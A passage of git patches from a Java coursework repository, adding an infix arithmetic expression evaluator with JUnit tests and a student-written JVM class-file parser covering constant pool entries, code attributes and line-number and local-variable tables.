+			Assert.assertEquals(46, methodRef.getNameAndType_index());
+		}
+		
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
+			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
+		}
+    }
+    @Test
+    public void testClassIndex(){
+    	
+    	ClassIndex clzIndex = clzFile.getClzIndex();
+    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
+    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
+    	
+    	
+    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
+    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
+    }
+
+    /**
+     * 下面是第三次JVM课应实现的测试用例
+     */
+    @Test
+    public void testReadFields(){
+   
+    	List<Field> fields = clzFile.getFields();
+    	Assert.assertEquals(2, fields.size());
+    	{
+    		Field f = fields.get(0);
+    		Assert.assertEquals("name:Ljava/lang/String;", f.toString());
+    	}
+    	{
+    		Field f = fields.get(1);
+    		Assert.assertEquals("age:I", f.toString());
+    	}
+    }
+//    @Test
+//    public void testMethods(){
+//   
+//    	List<Method> methods = clzFile.getMethods();
+//    	ConstantPool pool = clzFile.getConstantPool();
+//    	
+//    	{
+//    		Method m = methods.get(0);    		
+//    		assertMethodEquals(pool,m,
+//    				"<init>",
+//    				"(Ljava/lang/String;I)V",
+//    				"2ab7000c2a2bb5000f2a1cb50011b1");
+//    		
+//    	}
+//    	{
+//    		Method m = methods.get(1);    
+//    		assertMethodEquals(pool,m,
+//    				"setName",
+//    				"(Ljava/lang/String;)V",
+//    				"2a2bb5000fb1");
+//    		
+//    	}
+//    	{
+//    		Method m = methods.get(2);    
+//    		assertMethodEquals(pool,m,
+//    				"setAge",
+//    				"(I)V",
+//    				"2a1bb50011b1");
+//    	}
+//    	{
+//    		Method m = methods.get(3); 
+//    		assertMethodEquals(pool,m,
+//    				"sayHello",
+//    				"()V",
+//    				"b2001c1222b60024b1");
+//    		
+//    	}
+//    	{
+//    		Method m = methods.get(4);    
+//    		assertMethodEquals(pool,m,
+//    				"main",
+//    				"([Ljava/lang/String;)V",
+//    				"bb000159122b101db7002d4c2bb6002fb1");
+//    	}
+//    }
+//    
+//    private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
+//    	String methodName = pool.getUTF8String(m.getNameIndex());
+//		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());    		
+//		String code = m.getCodeAttr().getCode();
+//		Assert.assertEquals(expectedName, methodName);
+//		Assert.assertEquals(expectedDesc, methodDesc);
+//		Assert.assertEquals(expectedCode, code);
+//    }
+   
+
 }
\ No newline at end of file

From c8dd9993228eb98914b0b4740e650bf04b27d8b0 Mon Sep 17 00:00:00 2001
From: xuxiqoqing <xu0822@gmail.com>
Date: Sun, 16 Apr 2017 23:34:06 +0800
Subject: [PATCH 088/262] L6

---
 .../datastructure/less6/expr/InfixExpr.java   | 121 +++++++++
 .../less6/expr/InfixExprTest.java             |  47 ++++
 .../github/vxzh/jvm/attr/AttributeInfo.java   |  20 ++
 .../src/io/github/vxzh/jvm/attr/CodeAttr.java | 116 ++++++++
 .../github/vxzh/jvm/attr/LineNumberTable.java |  72 +++++
 .../vxzh/jvm/attr/LocalVariableItem.java      |  49 ++++
 .../vxzh/jvm/attr/LocalVariableTable.java     |  57 ++++
 .../github/vxzh/jvm/attr/StackMapTable.java   |  30 +++
 .../io/github/vxzh/jvm/clz/AccessFlag.java    |  26 ++
 .../src/io/github/vxzh/jvm/clz/ClassFile.java | 106 ++++++++
 .../io/github/vxzh/jvm/clz/ClassIndex.java    |  22 ++
 .../io/github/vxzh/jvm/clz/ConstantPool.java  |  35 +++
 .../github/vxzh/jvm/constant/ClassInfo.java   |  30 +++
 .../vxzh/jvm/constant/ConstantInfo.java       |  42 +++
 .../vxzh/jvm/constant/FieldRefInfo.java       |  60 +++++
 .../vxzh/jvm/constant/MethodRefInfo.java      |  60 +++++
 .../vxzh/jvm/constant/NameAndTypeInfo.java    |  51 ++++
 .../vxzh/jvm/constant/NullConstantInfo.java   |  14 +
 .../github/vxzh/jvm/constant/StringInfo.java  |  30 +++
 .../io/github/vxzh/jvm/constant/UTF8Info.java |  40 +++
 .../src/io/github/vxzh/jvm/field/Field.java   |  48 ++++
 .../vxzh/jvm/loader/ByteCodeIterator.java     |  58 ++++
 .../vxzh/jvm/loader/ClassFileLoader.java      |  58 ++++
 .../vxzh/jvm/loader/ClassFileParser.java      | 188 +++++++++++++
 .../src/io/github/vxzh/jvm/method/Method.java |  92 +++++++
 .../vxzh/jvm/test/ClassFileloaderTest.java    | 254 ++++++++++++++++++
 .../io/github/vxzh/jvm/test/EmployeeV1.java   |  29 ++
 .../L6/src/io/github/vxzh/jvm/util/Util.java  |  23 ++
 28 files changed, 1778 insertions(+)
 create mode 100644 group13/2729382520/L6/src/io/github/vxzh/datastructure/less6/expr/InfixExpr.java
 create mode 100644 group13/2729382520/L6/src/io/github/vxzh/datastructure/less6/expr/InfixExprTest.java
 create mode 100644 group13/2729382520/L6/src/io/github/vxzh/jvm/attr/AttributeInfo.java
 create mode 100644 group13/2729382520/L6/src/io/github/vxzh/jvm/attr/CodeAttr.java
 create mode 100644 group13/2729382520/L6/src/io/github/vxzh/jvm/attr/LineNumberTable.java
 create mode 100644 group13/2729382520/L6/src/io/github/vxzh/jvm/attr/LocalVariableItem.java
 create mode 100644 group13/2729382520/L6/src/io/github/vxzh/jvm/attr/LocalVariableTable.java
 create mode 100644 group13/2729382520/L6/src/io/github/vxzh/jvm/attr/StackMapTable.java
 create mode 100755 group13/2729382520/L6/src/io/github/vxzh/jvm/clz/AccessFlag.java
 create mode 100755 group13/2729382520/L6/src/io/github/vxzh/jvm/clz/ClassFile.java
 create mode 100755 group13/2729382520/L6/src/io/github/vxzh/jvm/clz/ClassIndex.java
 create mode 100755 group13/2729382520/L6/src/io/github/vxzh/jvm/clz/ConstantPool.java
 create mode 100755 group13/2729382520/L6/src/io/github/vxzh/jvm/constant/ClassInfo.java
 create mode 100755 group13/2729382520/L6/src/io/github/vxzh/jvm/constant/ConstantInfo.java
 create mode 100755 group13/2729382520/L6/src/io/github/vxzh/jvm/constant/FieldRefInfo.java
 create mode 100755 group13/2729382520/L6/src/io/github/vxzh/jvm/constant/MethodRefInfo.java
 create mode 100755 group13/2729382520/L6/src/io/github/vxzh/jvm/constant/NameAndTypeInfo.java
 create mode 100755 group13/2729382520/L6/src/io/github/vxzh/jvm/constant/NullConstantInfo.java
 create mode 100755 group13/2729382520/L6/src/io/github/vxzh/jvm/constant/StringInfo.java
 create mode 100755 group13/2729382520/L6/src/io/github/vxzh/jvm/constant/UTF8Info.java
 create mode 100644 group13/2729382520/L6/src/io/github/vxzh/jvm/field/Field.java
 create mode 100644 group13/2729382520/L6/src/io/github/vxzh/jvm/loader/ByteCodeIterator.java
 create mode 100755 group13/2729382520/L6/src/io/github/vxzh/jvm/loader/ClassFileLoader.java
 create mode 100644 group13/2729382520/L6/src/io/github/vxzh/jvm/loader/ClassFileParser.java
 create mode 100644 group13/2729382520/L6/src/io/github/vxzh/jvm/method/Method.java
 create mode 100755 group13/2729382520/L6/src/io/github/vxzh/jvm/test/ClassFileloaderTest.java
 create mode 100755 group13/2729382520/L6/src/io/github/vxzh/jvm/test/EmployeeV1.java
 create mode 100644 group13/2729382520/L6/src/io/github/vxzh/jvm/util/Util.java

diff --git a/group13/2729382520/L6/src/io/github/vxzh/datastructure/less6/expr/InfixExpr.java b/group13/2729382520/L6/src/io/github/vxzh/datastructure/less6/expr/InfixExpr.java
new file mode 100644
index 0000000000..f0f597e6cb
--- /dev/null
+++ b/group13/2729382520/L6/src/io/github/vxzh/datastructure/less6/expr/InfixExpr.java
@@ -0,0 +1,121 @@
+package io.github.vxzh.datastructure.less6.expr;
+
+import java.util.Stack;
+
+public class InfixExpr {
+    String expr = null;
+
+    public InfixExpr(String expr) {
+        this.expr = expr;
+    }
+
+    public float evaluate() {
+
+        check();
+
+        Stack<Character> operateStack = new Stack<Character>();
+        Stack<Integer> numStack = new Stack<Integer>();
+
+        char[] ch = expr.toCharArray();
+
+        for (int i = 0; i < ch.length; i++) {
+
+            if (Character.isDigit(ch[i])) {
+                int tmp = Integer.parseInt("" + ch[i]);
+                while (i < ch.length - 1 && Character.isDigit(ch[++i])) {
+                    tmp = tmp * 10 + Integer.parseInt("" + ch[i]);
+                }
+                numStack.push(tmp);
+
+            }
+            if (ch[i] == '+' || ch[i] == '-' || ch[i] == '*' || ch[i] == '/') {
+                operateStack.push(ch[i]);
+            }
+
+            if (!(operateStack.isEmpty()) && (char) operateStack.peek() == '*') {
+                int tmp = Integer.parseInt("" + ch[++i]);
+                while (i < ch.length - 1 && Character.isDigit(ch[++i])) {
+                    tmp = tmp * 10 + Integer.parseInt("" + ch[i]);
+                }
+                if (i != ch.length - 1) {
+                    i--;
+                }
+                numStack.push(tmp);
+
+                int tmp1 = Integer.parseInt("" + numStack.pop());
+                int tmp2 = Integer.parseInt("" + numStack.pop());
+                numStack.push(tmp1 * tmp2);
+                operateStack.pop();
+
+            }
+            if (!(operateStack.isEmpty()) && (char) operateStack.peek() == '/') {
+                int tmp = Integer.parseInt("" + ch[++i]);
+                while (i < ch.length - 1 && Character.isDigit(ch[++i])) {
+                    tmp = tmp * 10 + Integer.parseInt("" + ch[i]);
+                }
+                if (i != ch.length - 1) {
+                    i--;
+                }
+                numStack.push(tmp);
+
+                int tmp1 = Integer.parseInt("" + numStack.pop());
+                int tmp2 = Integer.parseInt("" + numStack.pop());
+                numStack.push(tmp2 / tmp1);
+                operateStack.pop();
+            }
+        }
+        // 将栈中的数字和运算法逆置，便于计算
+        reverse(numStack);
+        reverse(operateStack);
+
+        while (!(operateStack.isEmpty())) {
+            if ((char) operateStack.peek() == '+') {
+                int tmp1 = Integer.parseInt("" + numStack.pop());
+                int tmp2 = Integer.parseInt("" + numStack.pop());
+                numStack.push(tmp1 + tmp2);
+            }
+
+            if ((char) operateStack.peek() == '-') {
+                int tmp1 = Integer.parseInt("" + numStack.pop());
+                int tmp2 = Integer.parseInt("" + numStack.pop());
+                numStack.push(tmp1 - tmp2);
+            }
+            operateStack.pop();
+        }
+
+        return Float.parseFloat("" + numStack.pop());
+    }
+
+    private void reverse(Stack s) {
+
+        if (s.isEmpty()) {
+            return;
+        }
+        // 如果s里面只有一个元素，就返回。具体实现是先pop出来一个，判断剩下的是不是空栈。
+        Object tmp1 = s.pop();
+        reverse(s);
+        if (s.isEmpty()) {
+            s.push(tmp1);
+            return;
+        }
+        Object temp2 = s.pop();
+        reverse(s);
+        s.push(tmp1);
+        reverse(s);
+        s.push(temp2);
+
+    }
+
+    private boolean check() {
+        if (expr.length() <= 0) {
+            return false;
+        } else if ('+' == expr.charAt(0) || '-' == expr.charAt(0) || '*' == expr.charAt(0) || '/' == expr.charAt(0)) {
+            return false;
+        } else if ('+' == expr.charAt(expr.length() - 1) || '-' == expr.charAt(expr.length() - 1) || '*' == expr.charAt(expr.length() - 1) || '/' == expr.charAt(expr.length() - 1)) {
+            return false;
+        }
+
+        return true;
+    }
+
+}
\ No newline at end of file
diff --git a/group13/2729382520/L6/src/io/github/vxzh/datastructure/less6/expr/InfixExprTest.java b/group13/2729382520/L6/src/io/github/vxzh/datastructure/less6/expr/InfixExprTest.java
new file mode 100644
index 0000000000..dbf63cea14
--- /dev/null
+++ b/group13/2729382520/L6/src/io/github/vxzh/datastructure/less6/expr/InfixExprTest.java
@@ -0,0 +1,47 @@
+package io.github.vxzh.datastructure.less6.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class InfixExprTest {
+
+    @Before
+    public void setUp() throws Exception {
+    }
+
+    @After
+    public void tearDown() throws Exception {
+    }
+
+    @Test
+    public void testEvaluate() {
+        //InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
+        {
+            InfixExpr expr = new InfixExpr("2+3*4+5");
+            Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
+        }
+        {
+            InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
+            Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
+        }
+
+        {
+            InfixExpr expr = new InfixExpr("3*20/2");
+            Assert.assertEquals(30, expr.evaluate(), 0.001f);
+        }
+
+        {
+            InfixExpr expr = new InfixExpr("20/2*3");
+            Assert.assertEquals(30, expr.evaluate(), 0.001f);
+        }
+
+        {
+            InfixExpr expr = new InfixExpr("10-30+50");
+            Assert.assertEquals(30, expr.evaluate(), 0.001f);
+        }
+
+    }
+
+}
\ No newline at end of file
diff --git a/group13/2729382520/L6/src/io/github/vxzh/jvm/attr/AttributeInfo.java b/group13/2729382520/L6/src/io/github/vxzh/jvm/attr/AttributeInfo.java
new file mode 100644
index 0000000000..cec3cd75f7
--- /dev/null
+++ b/group13/2729382520/L6/src/io/github/vxzh/jvm/attr/AttributeInfo.java
@@ -0,0 +1,20 @@
+package io.github.vxzh.jvm.attr;
+
+public abstract class AttributeInfo {
+    public static final String CODE = "Code";
+    public static final String CONST_VALUE = "ConstantValue";
+    public static final String EXCEPTIONS = "Exceptions";
+    public static final String LINE_NUM_TABLE = "LineNumberTable";
+    public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
+    public static final String STACK_MAP_TABLE = "StackMapTable";
+    int attrNameIndex;
+    int attrLen;
+
+    public AttributeInfo(int attrNameIndex, int attrLen) {
+
+        this.attrNameIndex = attrNameIndex;
+        this.attrLen = attrLen;
+    }
+
+
+}
diff --git a/group13/2729382520/L6/src/io/github/vxzh/jvm/attr/CodeAttr.java b/group13/2729382520/L6/src/io/github/vxzh/jvm/attr/CodeAttr.java
new file mode 100644
index 0000000000..de04b35cad
--- /dev/null
+++ b/group13/2729382520/L6/src/io/github/vxzh/jvm/attr/CodeAttr.java
@@ -0,0 +1,116 @@
+package io.github.vxzh.jvm.attr;
+
+
+import io.github.vxzh.jvm.clz.ClassFile;
+import io.github.vxzh.jvm.clz.ConstantPool;
+import io.github.vxzh.jvm.loader.ByteCodeIterator;
+
+public class CodeAttr extends AttributeInfo {
+    private int maxStack;
+    private int maxLocals;
+    private int codeLen;
+    private String code;
+
+    public String getCode() {
+        return code;
+    }
+
+    //private ByteCodeCommand[] cmds ;
+    //public ByteCodeCommand[] getCmds() {
+    //	return cmds;
+    //}
+    private LineNumberTable lineNumTable;
+    private LocalVariableTable localVarTable;
+    private StackMapTable stackMapTable;
+
+    public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen, String code /*ByteCodeCommand[] cmds*/) {
+        super(attrNameIndex, attrLen);
+        this.maxStack = maxStack;
+        this.maxLocals = maxLocals;
+        this.codeLen = codeLen;
+        this.code = code;
+        //this.cmds = cmds;
+    }
+
+    public void setLineNumberTable(LineNumberTable t) {
+        this.lineNumTable = t;
+    }
+
+    public void setLocalVariableTable(LocalVariableTable t) {
+        this.localVarTable = t;
+    }
+
+    public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter) {
+
+        int attrNameIndex = iter.nextU2ToInt();
+        int attrLen = iter.nextU4ToInt();
+        int maxStack = iter.nextU2ToInt();
+        int maxLocals = iter.nextU2ToInt();
+        int codeLen = iter.nextU4ToInt();
+
+        String code = iter.nextUxToHexString(codeLen);
+
+        System.out.println(code);
+
+        //ByteCodeCommand[] cmds = ByteCodeCommand.parse(clzFile,code);
+
+        CodeAttr codeAttr = new CodeAttr(attrNameIndex, attrLen, maxStack, maxLocals, codeLen, code);
+
+        int exceptionTableLen = iter.nextU2ToInt();
+        //TODO 处理exception
+        if (exceptionTableLen > 0) {
+            String exTable = iter.nextUxToHexString(exceptionTableLen);
+            System.out.println("Encountered exception table , just ignore it :" + exTable);
+
+        }
+
+
+        int subAttrCount = iter.nextU2ToInt();
+
+        for (int x = 1; x <= subAttrCount; x++) {
+            int subAttrIndex = iter.nextU2ToInt();
+            String subAttrName = clzFile.getConstantPool().getUTF8String(subAttrIndex);
+
+            //已经向前移动了U2, 现在退回去。
+            iter.back(2);
+            //line item table
+            if (AttributeInfo.LINE_NUM_TABLE.equalsIgnoreCase(subAttrName)) {
+
+                LineNumberTable t = LineNumberTable.parse(iter);
+                codeAttr.setLineNumberTable(t);
+            } else if (AttributeInfo.LOCAL_VAR_TABLE.equalsIgnoreCase(subAttrName)) {
+                LocalVariableTable t = LocalVariableTable.parse(iter);
+                codeAttr.setLocalVariableTable(t);
+            } else if (AttributeInfo.STACK_MAP_TABLE.equalsIgnoreCase(subAttrName)) {
+                StackMapTable t = StackMapTable.parse(iter);
+                codeAttr.setStackMapTable(t);
+            } else {
+                throw new RuntimeException("Need code to process " + subAttrName);
+            }
+
+
+        }
+
+        return codeAttr;
+    }
+
+
+    public String toString(ConstantPool pool) {
+        StringBuilder buffer = new StringBuilder();
+        buffer.append("Code:").append(code).append("\n");
+        /*for(int i=0;i<cmds.length;i++){
+            buffer.append(cmds[i].toString(pool)).append("\n");
+        }*/
+        buffer.append("\n");
+        buffer.append(this.lineNumTable.toString());
+        buffer.append(this.localVarTable.toString(pool));
+        return buffer.toString();
+    }
+
+    private void setStackMapTable(StackMapTable t) {
+        this.stackMapTable = t;
+
+    }
+
+
+}
\ No newline at end of file
diff --git a/group13/2729382520/L6/src/io/github/vxzh/jvm/attr/LineNumberTable.java b/group13/2729382520/L6/src/io/github/vxzh/jvm/attr/LineNumberTable.java
new file mode 100644
index 0000000000..f68a37db61
--- /dev/null
+++ b/group13/2729382520/L6/src/io/github/vxzh/jvm/attr/LineNumberTable.java
@@ -0,0 +1,72 @@
+package io.github.vxzh.jvm.attr;
+
+import io.github.vxzh.jvm.loader.ByteCodeIterator;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class LineNumberTable extends AttributeInfo {
+    List<LineNumberItem> items = new ArrayList<LineNumberItem>();
+
+    private static class LineNumberItem {
+        int startPC;
+        int lineNum;
+
+        public int getStartPC() {
+            return startPC;
+        }
+
+        public void setStartPC(int startPC) {
+            this.startPC = startPC;
+        }
+
+        public int getLineNum() {
+            return lineNum;
+        }
+
+        public void setLineNum(int lineNum) {
+            this.lineNum = lineNum;
+        }
+    }
+
+    public void addLineNumberItem(LineNumberItem item) {
+        this.items.add(item);
+    }
+
+    public LineNumberTable(int attrNameIndex, int attrLen) {
+        super(attrNameIndex, attrLen);
+
+    }
+
+    public static LineNumberTable parse(ByteCodeIterator iter) {
+
+        int index = iter.nextU2ToInt();
+        int len = iter.nextU4ToInt();
+
+        LineNumberTable table = new LineNumberTable(index, len);
+
+        int itemLen = iter.nextU2ToInt();
+
+        for (int i = 1; i <= itemLen; i++) {
+            LineNumberItem item = new LineNumberItem();
+            item.setStartPC(iter.nextU2ToInt());
+            item.setLineNum(iter.nextU2ToInt());
+            table.addLineNumberItem(item);
+        }
+        return table;
+    }
+
+    public String toString() {
+        StringBuilder buffer = new StringBuilder();
+        buffer.append("Line Number Table:\n");
+        for (LineNumberItem item : items) {
+            buffer.append("startPC:" + item.getStartPC()).append(",");
+            buffer.append("lineNum:" + item.getLineNum()).append("\n");
+        }
+        buffer.append("\n");
+        return buffer.toString();
+
+    }
+
+
+}
\ No newline at end of file
diff --git a/group13/2729382520/L6/src/io/github/vxzh/jvm/attr/LocalVariableItem.java b/group13/2729382520/L6/src/io/github/vxzh/jvm/attr/LocalVariableItem.java
new file mode 100644
index 0000000000..a0e0f4286a
--- /dev/null
+++ b/group13/2729382520/L6/src/io/github/vxzh/jvm/attr/LocalVariableItem.java
@@ -0,0 +1,49 @@
+package io.github.vxzh.jvm.attr;
+
+public class LocalVariableItem {
+    private int startPC;
+    private int length;
+    private int nameIndex;
+    private int descIndex;
+    private int index;
+
+    public int getStartPC() {
+        return startPC;
+    }
+
+    public void setStartPC(int startPC) {
+        this.startPC = startPC;
+    }
+
+    public int getLength() {
+        return length;
+    }
+
+    public void setLength(int length) {
+        this.length = length;
+    }
+
+    public int getNameIndex() {
+        return nameIndex;
+    }
+
+    public void setNameIndex(int nameIndex) {
+        this.nameIndex = nameIndex;
+    }
+
+    public int getDescIndex() {
+        return descIndex;
+    }
+
+    public void setDescIndex(int descIndex) {
+        this.descIndex = descIndex;
+    }
+
+    public int getIndex() {
+        return index;
+    }
+
+    public void setIndex(int index) {
+        this.index = index;
+    }
+}
diff --git a/group13/2729382520/L6/src/io/github/vxzh/jvm/attr/LocalVariableTable.java b/group13/2729382520/L6/src/io/github/vxzh/jvm/attr/LocalVariableTable.java
new file mode 100644
index 0000000000..4993f6ce77
--- /dev/null
+++ b/group13/2729382520/L6/src/io/github/vxzh/jvm/attr/LocalVariableTable.java
@@ -0,0 +1,57 @@
+package io.github.vxzh.jvm.attr;
+
+
+import io.github.vxzh.jvm.clz.ConstantPool;
+import io.github.vxzh.jvm.loader.ByteCodeIterator;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class LocalVariableTable extends AttributeInfo {
+
+    List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
+
+    public LocalVariableTable(int attrNameIndex, int attrLen) {
+        super(attrNameIndex, attrLen);
+    }
+
+
+    private void addLocalVariableItem(LocalVariableItem item) {
+        this.items.add(item);
+    }
+
+    public static LocalVariableTable parse(ByteCodeIterator iter) {
+
+        int index = iter.nextU2ToInt();
+        int len = iter.nextU4ToInt();
+
+        LocalVariableTable table = new LocalVariableTable(index, len);
+
+        int itemLen = iter.nextU2ToInt();
+
+        for (int i = 1; i <= itemLen; i++) {
+            LocalVariableItem item = new LocalVariableItem();
+            item.setStartPC(iter.nextU2ToInt());
+            item.setLength(iter.nextU2ToInt());
+            item.setNameIndex(iter.nextU2ToInt());
+            item.setDescIndex(iter.nextU2ToInt());
+            item.setIndex(iter.nextU2ToInt());
+            table.addLocalVariableItem(item);
+        }
+        return table;
+    }
+
+
+    public String toString(ConstantPool pool) {
+        StringBuilder buffer = new StringBuilder();
+        buffer.append("Local Variable Table:\n");
+        for (LocalVariableItem item : items) {
+            buffer.append("startPC:" + item.getStartPC()).append(",");
+            buffer.append("name:" + pool.getUTF8String(item.getNameIndex())).append(",");
+            buffer.append("desc:" + pool.getUTF8String(item.getDescIndex())).append(",");
+            buffer.append("slotIndex:" + item.getIndex()).append("\n");
+        }
+        buffer.append("\n");
+        return buffer.toString();
+    }
+}
\ No newline at end of file
diff --git a/group13/2729382520/L6/src/io/github/vxzh/jvm/attr/StackMapTable.java b/group13/2729382520/L6/src/io/github/vxzh/jvm/attr/StackMapTable.java
new file mode 100644
index 0000000000..4538a51d42
--- /dev/null
+++ b/group13/2729382520/L6/src/io/github/vxzh/jvm/attr/StackMapTable.java
@@ -0,0 +1,30 @@
+package io.github.vxzh.jvm.attr;
+
+
+import io.github.vxzh.jvm.loader.ByteCodeIterator;
+
+public class StackMapTable extends AttributeInfo {
+
+    private String originalCode;
+
+    public StackMapTable(int attrNameIndex, int attrLen) {
+        super(attrNameIndex, attrLen);
+    }
+
+    public static StackMapTable parse(ByteCodeIterator iter) {
+        int index = iter.nextU2ToInt();
+        int len = iter.nextU4ToInt();
+        StackMapTable t = new StackMapTable(index, len);
+
+        //后面的StackMapTable太过复杂， 不再处理， 只把原始的代码读进来保存
+        String code = iter.nextUxToHexString(len);
+        t.setOriginalCode(code);
+
+        return t;
+    }
+
+    private void setOriginalCode(String code) {
+        this.originalCode = code;
+
+    }
+}
diff --git a/group13/2729382520/L6/src/io/github/vxzh/jvm/clz/AccessFlag.java b/group13/2729382520/L6/src/io/github/vxzh/jvm/clz/AccessFlag.java
new file mode 100755
index 0000000000..4c3a3c8900
--- /dev/null
+++ b/group13/2729382520/L6/src/io/github/vxzh/jvm/clz/AccessFlag.java
@@ -0,0 +1,26 @@
+package io.github.vxzh.jvm.clz;
+
+public class AccessFlag {
+    private int flagValue;
+
+    public AccessFlag(int value) {
+        this.flagValue = value;
+    }
+
+    public int getFlagValue() {
+        return flagValue;
+    }
+
+    public void setFlagValue(int flag) {
+        this.flagValue = flag;
+    }
+
+    public boolean isPublicClass() {
+        return (this.flagValue & 0x0001) != 0;
+    }
+
+    public boolean isFinalClass() {
+        return (this.flagValue & 0x0010) != 0;
+    }
+
+}
\ No newline at end of file
diff --git a/group13/2729382520/L6/src/io/github/vxzh/jvm/clz/ClassFile.java b/group13/2729382520/L6/src/io/github/vxzh/jvm/clz/ClassFile.java
new file mode 100755
index 0000000000..93adf1976a
--- /dev/null
+++ b/group13/2729382520/L6/src/io/github/vxzh/jvm/clz/ClassFile.java
@@ -0,0 +1,106 @@
+package io.github.vxzh.jvm.clz;
+
+import io.github.vxzh.jvm.constant.ClassInfo;
+import io.github.vxzh.jvm.field.Field;
+import io.github.vxzh.jvm.method.Method;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class ClassFile {
+
+    private int minorVersion;
+    private int majorVersion;
+
+    private AccessFlag accessFlag;
+    private ClassIndex clzIndex;
+    private ConstantPool pool;
+
+    private List<Field> fields = new ArrayList<Field>();
+    private List<Method> methods = new ArrayList<Method>();
+
+
+    public ClassIndex getClzIndex() {
+        return clzIndex;
+    }
+
+    public AccessFlag getAccessFlag() {
+        return accessFlag;
+    }
+
+    public void setAccessFlag(AccessFlag accessFlag) {
+        this.accessFlag = accessFlag;
+    }
+
+
+    public ConstantPool getConstantPool() {
+        return pool;
+    }
+
+    public int getMinorVersion() {
+        return minorVersion;
+    }
+
+    public void setMinorVersion(int minorVersion) {
+        this.minorVersion = minorVersion;
+    }
+
+    public int getMajorVersion() {
+        return majorVersion;
+    }
+
+    public void setMajorVersion(int majorVersion) {
+        this.majorVersion = majorVersion;
+    }
+
+    public void setConstPool(ConstantPool pool) {
+        this.pool = pool;
+
+    }
+
+    public void setClassIndex(ClassIndex clzIndex) {
+        this.clzIndex = clzIndex;
+    }
+
+    public void addField(Field f) {
+        this.fields.add(f);
+    }
+
+    public List<Field> getFields() {
+        return this.fields;
+    }
+
+    public void addMethod(Method m) {
+        this.methods.add(m);
+    }
+
+    public List<Method> getMethods() {
+        return methods;
+    }
+
+
+    public void print() {
+
+        if (this.accessFlag.isPublicClass()) {
+            System.out.println("Access flag : public  ");
+        }
+        System.out.println("Class Name:" + getClassName());
+
+        System.out.println("Super Class Name:" + getSuperClassName());
+
+
+    }
+
+    private String getClassName() {
+        int thisClassIndex = this.clzIndex.getThisClassIndex();
+        ClassInfo thisClass = (ClassInfo) this.getConstantPool().getConstantInfo(thisClassIndex);
+        return thisClass.getClassName();
+    }
+
+    private String getSuperClassName() {
+        ClassInfo superClass = (ClassInfo) this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
+        return superClass.getClassName();
+    }
+
+
+}
diff --git a/group13/2729382520/L6/src/io/github/vxzh/jvm/clz/ClassIndex.java b/group13/2729382520/L6/src/io/github/vxzh/jvm/clz/ClassIndex.java
new file mode 100755
index 0000000000..4500959430
--- /dev/null
+++ b/group13/2729382520/L6/src/io/github/vxzh/jvm/clz/ClassIndex.java
@@ -0,0 +1,22 @@
+package io.github.vxzh.jvm.clz;
+
+public class ClassIndex {
+    private int thisClassIndex;
+    private int superClassIndex;
+
+    public int getThisClassIndex() {
+        return thisClassIndex;
+    }
+
+    public void setThisClassIndex(int thisClassIndex) {
+        this.thisClassIndex = thisClassIndex;
+    }
+
+    public int getSuperClassIndex() {
+        return superClassIndex;
+    }
+
+    public void setSuperClassIndex(int superClassIndex) {
+        this.superClassIndex = superClassIndex;
+    }
+}
\ No newline at end of file
diff --git a/group13/2729382520/L6/src/io/github/vxzh/jvm/clz/ConstantPool.java b/group13/2729382520/L6/src/io/github/vxzh/jvm/clz/ConstantPool.java
new file mode 100755
index 0000000000..b96e330020
--- /dev/null
+++ b/group13/2729382520/L6/src/io/github/vxzh/jvm/clz/ConstantPool.java
@@ -0,0 +1,35 @@
+package io.github.vxzh.jvm.clz;
+
+import io.github.vxzh.jvm.constant.ConstantInfo;
+import io.github.vxzh.jvm.constant.UTF8Info;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class ConstantPool {
+
+    private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
+
+
+    public ConstantPool() {
+
+    }
+
+    public void addConstantInfo(ConstantInfo info) {
+
+        this.constantInfos.add(info);
+
+    }
+
+    public ConstantInfo getConstantInfo(int index) {
+        return this.constantInfos.get(index);
+    }
+
+    public String getUTF8String(int index) {
+        return ((UTF8Info) this.constantInfos.get(index)).getValue();
+    }
+
+    public Object getSize() {
+        return this.constantInfos.size() - 1;
+    }
+}
diff --git a/group13/2729382520/L6/src/io/github/vxzh/jvm/constant/ClassInfo.java b/group13/2729382520/L6/src/io/github/vxzh/jvm/constant/ClassInfo.java
new file mode 100755
index 0000000000..c9586ee16c
--- /dev/null
+++ b/group13/2729382520/L6/src/io/github/vxzh/jvm/constant/ClassInfo.java
@@ -0,0 +1,30 @@
+package io.github.vxzh.jvm.constant;
+
+import io.github.vxzh.jvm.clz.ConstantPool;
+
+public class ClassInfo extends ConstantInfo {
+    private int tag = ConstantInfo.CONSTANT_CLASS_INFO;
+    private int nameIndex;
+
+    public ClassInfo(ConstantPool pool) {
+        super(pool);
+    }
+
+    public int getNameIndex() {
+        return nameIndex;
+    }
+
+    public void setNameIndex(int nameIndex) {
+        this.nameIndex = nameIndex;
+    }
+
+    public int getTag() {
+        return tag;
+    }
+
+    public String getClassName() {
+        int index = getNameIndex();
+        UTF8Info utf8Info = (UTF8Info) constantPool.getConstantInfo(index);
+        return utf8Info.getValue();
+    }
+}
